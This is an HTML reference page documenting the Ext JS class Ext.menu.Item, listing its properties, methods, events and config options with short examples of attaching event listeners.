<!doctype html public "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Ext.menu.Item</title> <link rel="stylesheet" type="text/css" href="../resources/reset.css"/> <link rel="stylesheet" type="text/css" href="../resources/style.css" media="screen"/> <link rel="stylesheet" type="text/css" href="../resources/print.css" media="print"> <!-- GC --> </head> <body> <div class="body-wrap"> <div class="top-tools"> <img src="../resources/print.gif" width="16" height="16" align="absmiddle">&nbsp;<a href="Ext.menu.Item.html" target="_blank">Print Friendly</a><br/> </div> <h1>Class Ext.menu.Item</h1> <table cellspacing="0"> <tr><td class="label">Package:</td><td>Ext.menu</td></tr> <tr><td class="label">Class:</td><td>Item</td></tr> <tr><td class="label">Extends:</td><td><a ext:cls="Ext.menu.BaseItem" ext:member="" href="Ext.menu.BaseItem.html">BaseItem</a></td></tr> <tr><td class="label">Subclasses:</td><td><a ext:cls="Ext.menu.CheckItem" href="Ext.menu.CheckItem.html">CheckItem</a></td></tr> <tr><td class="label">Defined In:</td><td><a href="Item.jss.html">Item.js</a></td></tr> </table> <div class="description"> A base class for all menu items that require menu-related functionality (like sub-menus) and are not static display items. Item extends the base functionality of <a ext:cls="Ext.menu.BaseItem" href="Ext.menu.BaseItem.html">Ext.menu.BaseItem</a> by adding menu-specific activation and click handling. </div> <br /> <a href="#properties">Properties</a> &nbsp;&nbsp;-&nbsp;&nbsp;<a href="#methods">Methods</a> &nbsp;&nbsp;-&nbsp;&nbsp;<a href="#events">Events</a> &nbsp;&nbsp;-&nbsp;&nbsp;<a href="#configs">Config Options</a> <hr /> <a name="properties"></a> <h2>Public Properties</h2> <table cellspacing="0" class="member-table"> <tr> <th class="sig-header" colspan="2">Property</th> <th class="msource-header">Defined By</th> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#disabled">disabled</a> : Object</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#disabled" href="Ext.Component.html#disabled">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">true if this component is disabled. Read-only.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#hidden">hidden</a> : Object</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#hidden" href="Ext.Component.html#hidden">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">true if this component is hidden. Read-only.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#rendered">rendered</a> : Object</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#rendered" href="Ext.Component.html#rendered">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">true if this component has been rendered. Read-only.</td> </tr> </table> <a name="methods"></a> <h2>Public Methods</h2> <table cellspacing="0" class="member-table"> <tr> <th class="sig-header" colspan="2">Method</th> <th class="msource-header">Defined By</th> </tr> <tr class=""> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><b>Item</b>(&nbsp;<code>Object config</code>&nbsp;)</td> <td class="msource" rowspan="2">Item</td> </tr> <tr class=""> <td class="mdesc">Creates a new Item</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#addEvents">addEvents</a>(&nbsp;<code>Object object</code>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#addEvents" href="Ext.util.Observable.html#addEvents">Observable</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Used to define events on this Observable</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#addListener">addListener</a>(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>, <span class="optional" title="Optional">[<code>Object options</code>]</span>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#addListener" href="Ext.util.Observable.html#addListener">Observable</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Appends an event handler to this component</td> </tr> <tr class=" inherited alt" expandable> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#destroy">destroy</a>() : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#destroy" href="Ext.Component.html#destroy">Component</a></td> </tr> <tr class=" inherited alt" expandable> <td class="mdesc">Destroys this component by purging any event listeners, removing the component's element from the DOM, removing the c...</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#disable">disable</a>() : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#disable" href="Ext.Component.html#disable">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Disable this component.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#enable">enable</a>() : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#enable" href="Ext.Component.html#enable">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Enable this component.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#fireEvent">fireEvent</a>(&nbsp;<code>String eventName</code>, <code>Object... args</code>&nbsp;) : Boolean</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#fireEvent" href="Ext.util.Observable.html#fireEvent">Observable</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires the specified event with the passed parameters (minus the event name).</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#focus">focus</a>(&nbsp;<code>Boolean selectText</code>&nbsp;) : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#focus" href="Ext.Component.html#focus">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Try to focus this component.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#getEl">getEl</a>() : Ext.Element</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#getEl" href="Ext.Component.html#getEl">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Returns the underlying <a ext:cls="Ext.Element" href="Ext.Element.html">Ext.Element</a>.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#getId">getId</a>() : String</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#getId" href="Ext.Component.html#getId">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Returns the id of this component.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#hasListener">hasListener</a>(&nbsp;<code>String eventName</code>&nbsp;) : Boolean</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#hasListener" href="Ext.util.Observable.html#hasListener">Observable</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Checks to see if this object has any listeners for a specified event</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#hide">hide</a>() : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#hide" href="Ext.Component.html#hide">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Hide this component.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#isVisible">isVisible</a>() : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#isVisible" href="Ext.Component.html#isVisible">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Returns true if this component is visible.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#on">on</a>(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>, <span class="optional" title="Optional">[<code>Object options</code>]</span>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#on" href="Ext.util.Observable.html#on">Observable</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Appends an event handler to this element (shorthand for addListener)</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#purgeListeners">purgeListeners</a>() : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#purgeListeners" href="Ext.util.Observable.html#purgeListeners">Observable</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Removes all listeners for this object</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#removeListener">removeListener</a>(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#removeListener" href="Ext.util.Observable.html#removeListener">Observable</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Removes a listener</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#render">render</a>(&nbsp;<span class="optional" title="Optional">[<code>String/HTMLElement/Element container</code>]</span>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#render" href="Ext.Component.html#render">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">If this is a lazy rendering component, render it to its container element.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#setDisabled">setDisabled</a>(&nbsp;<code>Boolean disabled</code>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#setDisabled" href="Ext.Component.html#setDisabled">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Convenience function for setting disabled/enabled by boolean.</td> </tr> <tr class=""> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#setText">setText</a>(&nbsp;<code>String text</code>&nbsp;) : void</td> <td class="msource" rowspan="2">Item</td> </tr> <tr class=""> <td class="mdesc">Sets the text to display in this menu item</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#setVisible">setVisible</a>(&nbsp;<code>Boolean visible</code>&nbsp;) : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#setVisible" href="Ext.Component.html#setVisible">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Convenience function to hide or show this component by boolean.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#show">show</a>() : Ext.Component</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#show" href="Ext.Component.html#show">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Show this component.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#un">un</a>(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>&nbsp;) : void</td> <td class="msource" rowspan="2"><a ext:cls="Ext.util.Observable" ext:member="#un" href="Ext.util.Observable.html#un">Observable</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Removes a listener (shorthand for removeListener)</td> </tr> </table> <a name="events"></a> <h2>Public Events</h2> <table cellspacing="0" class="member-table"> <tr> <th class="sig-header" colspan="2">Event</th> <th class="msource-header">Defined By</th> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-activate">activate</a> : (&nbsp;<code>Ext.menu.BaseItem this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#event-activate" href="Ext.menu.BaseItem.html#event-activate">BaseItem</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires when this item is activated</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-beforedestroy">beforedestroy</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-beforedestroy" href="Ext.Component.html#event-beforedestroy">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires before the component is destroyed. Return false to stop the destroy.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-beforehide">beforehide</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-beforehide" href="Ext.Component.html#event-beforehide">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires before the component is hidden. Return false to stop the hide.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-beforerender">beforerender</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-beforerender" href="Ext.Component.html#event-beforerender">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires before the component is rendered. Return false to stop the render.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-beforeshow">beforeshow</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-beforeshow" href="Ext.Component.html#event-beforeshow">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires before the component is shown. Return false to stop the show.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-click">click</a> : (&nbsp;<code>Ext.menu.BaseItem this</code>, <code>Ext.EventObject e</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#event-click" href="Ext.menu.BaseItem.html#event-click">BaseItem</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires when this item is clicked</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-deactivate">deactivate</a> : (&nbsp;<code>Ext.menu.BaseItem this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#event-deactivate" href="Ext.menu.BaseItem.html#event-deactivate">BaseItem</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires when this item is deactivated</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-destroy">destroy</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-destroy" href="Ext.Component.html#event-destroy">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires after the component is destroyed.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-disable">disable</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-disable" href="Ext.Component.html#event-disable">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires after the component is disabled.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-enable">enable</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-enable" href="Ext.Component.html#event-enable">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires after the component is enabled.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-hide">hide</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-hide" href="Ext.Component.html#event-hide">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires after the component is hidden.</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-render">render</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-render" href="Ext.Component.html#event-render">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Fires after the component is rendered.</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#event-show">show</a> : (&nbsp;<code>Ext.Component this</code>&nbsp;)</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#event-show" href="Ext.Component.html#event-show">Component</a></td> </tr> <tr class=" inherited"> <td class="mdesc">Fires after the component is shown.</td> </tr> </table> <a name="configs"></a> <h2>Config Options</h2> <table cellspacing="0" class="member-table"> <tr> <th class="sig-header" colspan="2">Config Options</th> <th class="msource-header">Defined By</th> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-activeClass">activeClass</a> : String</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#activeClass" href="Ext.menu.BaseItem.html#activeClass">BaseItem</a></td> </tr> <tr class=" inherited"> <td class="mdesc">The CSS class to use when the item becomes activated (defaults to "x-menu-item-active")</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-allowDomMove">allowDomMove</a> : Boolean</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#allowDomMove" href="Ext.Component.html#allowDomMove">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Whether the component can move the Dom node when rendering (defaults to true).</td> </tr> <tr class=""> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-canActivate">canActivate</a> : Boolean</td> <td class="msource" rowspan="2">Item</td> </tr> <tr class=""> <td class="mdesc">True if this item can be visually activated (defaults to true)</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-disableClass">disableClass</a> : String</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#disableClass" href="Ext.Component.html#disableClass">Component</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">CSS class added to the component when it is disabled (defaults to "x-item-disabled").</td> </tr> <tr class=" inherited"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-handler">handler</a> : Function</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#handler" href="Ext.menu.BaseItem.html#handler">BaseItem</a></td> </tr> <tr class=" inherited"> <td class="mdesc">A function that will handle the click event of this menu item (defaults to undefined)</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-hideDelay">hideDelay</a> : Number</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#hideDelay" href="Ext.menu.BaseItem.html#hideDelay">BaseItem</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">Length of time in milliseconds to wait before hiding after a click (defaults to 100)</td> </tr> <tr class=" inherited" expandable> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-hideMode">hideMode</a> : String</td> <td class="msource" rowspan="2"><a ext:cls="Ext.Component" ext:member="#hideMode" href="Ext.Component.html#hideMode">Component</a></td> </tr> <tr class=" inherited" expandable> <td class="mdesc">How this component should hidden. Supported values are "visibility" (css visibility), "offsets" (negative offset posi...</td> </tr> <tr class=" inherited alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-hideOnClick">hideOnClick</a> : Boolean</td> <td class="msource" rowspan="2"><a ext:cls="Ext.menu.BaseItem" ext:member="#hideOnClick" href="Ext.menu.BaseItem.html#hideOnClick">BaseItem</a></td> </tr> <tr class=" inherited alt"> <td class="mdesc">True to hide the containing menu after this item is clicked (defaults to true)</td> </tr> <tr class=""> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-icon">icon</a> : String</td> <td class="msource" rowspan="2">Item</td> </tr> <tr class=""> <td class="mdesc">The path to an icon to display in this menu item (defaults to Ext.BLANK_IMAGE_URL)</td> </tr> <tr class=" alt"> <td class="micon" rowspan="2">&nbsp;</td> <td class="sig"><a class="mlink" href="#config-itemCls">itemCls</a> : String</td> <td class="msource" rowspan="2">Item</td> </tr> <tr class=" alt"> <td class="mdesc">The default CSS class to use for menu items (defaults to "x-menu-item")</td> </tr> </table> <h2 class="mdetail-head">Property Details</h2> <div class="detail-wrap"> <a name="disabled"></a> <div class="mdetail"> <h3>disabled</i></h3> <code>public Object disabled</code> <div class="mdetail-desc"> true if this component is disabled. Read-only. </div> <div class="mdetail-def">This property is defined by <a ext:cls="Ext.Component" ext:member="#disabled" href="Ext.Component.html#disabled">Component</a>.</div> </div> <a name="hidden"></a> <div class="mdetail alt"> <h3>hidden</i></h3> <code>public Object hidden</code> <div class="mdetail-desc"> true if this component is hidden. Read-only. </div> <div class="mdetail-def">This property is defined by <a ext:cls="Ext.Component" ext:member="#hidden" href="Ext.Component.html#hidden">Component</a>.</div> </div> <a name="rendered"></a> <div class="mdetail"> <h3>rendered</i></h3> <code>public Object rendered</code> <div class="mdetail-desc"> true if this component has been rendered. Read-only. </div> <div class="mdetail-def">This property is defined by <a ext:cls="Ext.Component" ext:member="#rendered" href="Ext.Component.html#rendered">Component</a>.</div> </div> </div> <a name="Item"></a> <h2 class="mdetail-head">Constructor Details</h2> <div class="detail-wrap"> <div class="mdetail"> <h3>Item</i></h3> <code>public function Item(&nbsp;<code>Object config</code>&nbsp;)</code> <div class="mdetail-desc"> Creates a new Item <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>config</code> : Object<div class="sub-desc">Configuration options</div></li> </ul> </div> </div> </div> </div> <h2 class="mdetail-head">Method Details</h2> <div class="detail-wrap"> <a name="addEvents"></a> <div class="mdetail"> <h3>addEvents</i></h3> <code>public function addEvents(&nbsp;<code>Object object</code>&nbsp;)</code> <div class="mdetail-desc"> Used to define events on this Observable <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>object</code> : Object<div class="sub-desc">The object with the events defined</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#addEvents" href="Ext.util.Observable.html#addEvents">Observable</a>.</div> </div> <a name="addListener"></a> <div class="mdetail alt"> <h3>addListener</i></h3> <code>public function addListener(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>, <span class="optional" title="Optional">[<code>Object options</code>]</span>&nbsp;)</code> <div class="mdetail-desc"> Appends an event handler to this component <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>eventName</code> : String<div class="sub-desc">The type of event to listen for</div></li><li><code>handler</code> : Function<div class="sub-desc">The method the event invokes</div></li><li><code>scope</code> : Object<div class="sub-desc">(optional) The scope in which to execute the handler function. The handler function's "this" context.</div></li><li><code>options</code> : Object<div class="sub-desc">(optional) An object containing handler configuration properties. This may contain any of the following properties:<ul> <li>scope {Object} The scope in which to execute the handler function. The handler function's "this" context.</li> <li>delay {Number} The number of milliseconds to delay the invocation of the handler after te event fires.</li> <li>single {Boolean} True to add a handler to handle just the next firing of the event, and then remove itself.</li> <li>buffer {Number} Causes the handler to be scheduled to run in an <a ext:cls="Ext.util.DelayedTask" href="Ext.util.DelayedTask.html">Ext.util.DelayedTask</a> delayed by the specified number of milliseconds. If the event fires again within that time, the original handler is <em>not</em> invoked, but the new handler is scheduled in its place.</li> </ul><br> <p> <b>Combining Options</b><br> Using the options argument, it is possible to combine different types of listeners:<br> <br> A normalized, delayed, one-time listener that auto stops the event and passes a custom argument (forumId) <pre><code>el.on(<em>'click'</em>, <b>this</b>.onClick, <b>this</b>, { single: true, delay: 100, forumId: 4 });</code></pre> <p> <b>Attaching multiple handlers in 1 call</b><br> The method also allows for a single argument to be passed which is a config object containing properties which specify multiple handlers. <pre><code>el.on({ <em>'click'</em>: { fn: <b>this</b>.onClick, scope: <b>this</b>, delay: 100 }, <em>'mouseover'</em>: { fn: <b>this</b>.onMouseOver, scope: <b>this</b> }, <em>'mouseout'</em>: { fn: <b>this</b>.onMouseOut, scope: <b>this</b> } });</code></pre> <p> Or a shorthand syntax which passes the same scope object to all handlers: <pre><code>el.on({ <em>'click'</em>: <b>this</b>.onClick, <em>'mouseover'</em>: <b>this</b>.onMouseOver, <em>'mouseout'</em>: <b>this</b>.onMouseOut, scope: <b>this</b> });</code></pre></div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#addListener" href="Ext.util.Observable.html#addListener">Observable</a>.</div> </div> <a name="destroy"></a> <div class="mdetail"> <h3>destroy</i></h3> <code>public function destroy()</code> <div class="mdetail-desc"> Destroys this component by purging any event listeners, removing the component's element from the DOM, removing the component from its <a ext:cls="Ext.Container" href="Ext.Container.html">Ext.Container</a> (if applicable) and unregistering it from <a ext:cls="Ext.ComponentMgr" href="Ext.ComponentMgr.html">Ext.ComponentMgr</a>. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#destroy" href="Ext.Component.html#destroy">Component</a>.</div> </div> <a name="disable"></a> <div class="mdetail alt"> <h3>disable</i></h3> <code>public function disable()</code> <div class="mdetail-desc"> Disable this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#disable" href="Ext.Component.html#disable">Component</a>.</div> </div> <a name="enable"></a> <div class="mdetail"> <h3>enable</i></h3> <code>public function enable()</code> <div class="mdetail-desc"> Enable this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#enable" href="Ext.Component.html#enable">Component</a>.</div> </div> <a name="fireEvent"></a> <div class="mdetail alt"> <h3>fireEvent</i></h3> <code>public function fireEvent(&nbsp;<code>String eventName</code>, <code>Object... args</code>&nbsp;)</code> <div class="mdetail-desc"> Fires the specified event with the passed parameters (minus the event name). <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>eventName</code> : String<div class="sub-desc"></div></li><li><code>args</code> : Object...<div class="sub-desc">Variable number of parameters are passed to handlers</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>Boolean</code><div class="sub-desc">returns false if any of the handlers return false otherwise it returns true</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#fireEvent" href="Ext.util.Observable.html#fireEvent">Observable</a>.</div> </div> <a name="focus"></a> <div class="mdetail"> <h3>focus</i></h3> <code>public function focus(&nbsp;<code>Boolean selectText</code>&nbsp;)</code> <div class="mdetail-desc"> Try to focus this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>selectText</code> : Boolean<div class="sub-desc">True to also select the text in this component (if applicable)</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#focus" href="Ext.Component.html#focus">Component</a>.</div> </div> <a name="getEl"></a> <div class="mdetail alt"> <h3>getEl</i></h3> <code>public function getEl()</code> <div class="mdetail-desc"> Returns the underlying <a ext:cls="Ext.Element" href="Ext.Element.html">Ext.Element</a>. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Element</code><div class="sub-desc">The element</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#getEl" href="Ext.Component.html#getEl">Component</a>.</div> </div> <a name="getId"></a> <div class="mdetail"> <h3>getId</i></h3> <code>public function getId()</code> <div class="mdetail-desc"> Returns the id of this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>String</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#getId" href="Ext.Component.html#getId">Component</a>.</div> </div> <a name="hasListener"></a> <div class="mdetail alt"> <h3>hasListener</i></h3> <code>public function hasListener(&nbsp;<code>String eventName</code>&nbsp;)</code> <div class="mdetail-desc"> Checks to see if this object has any listeners for a specified event <div class="mdetail-params"> <strong>Parameters:</strong> 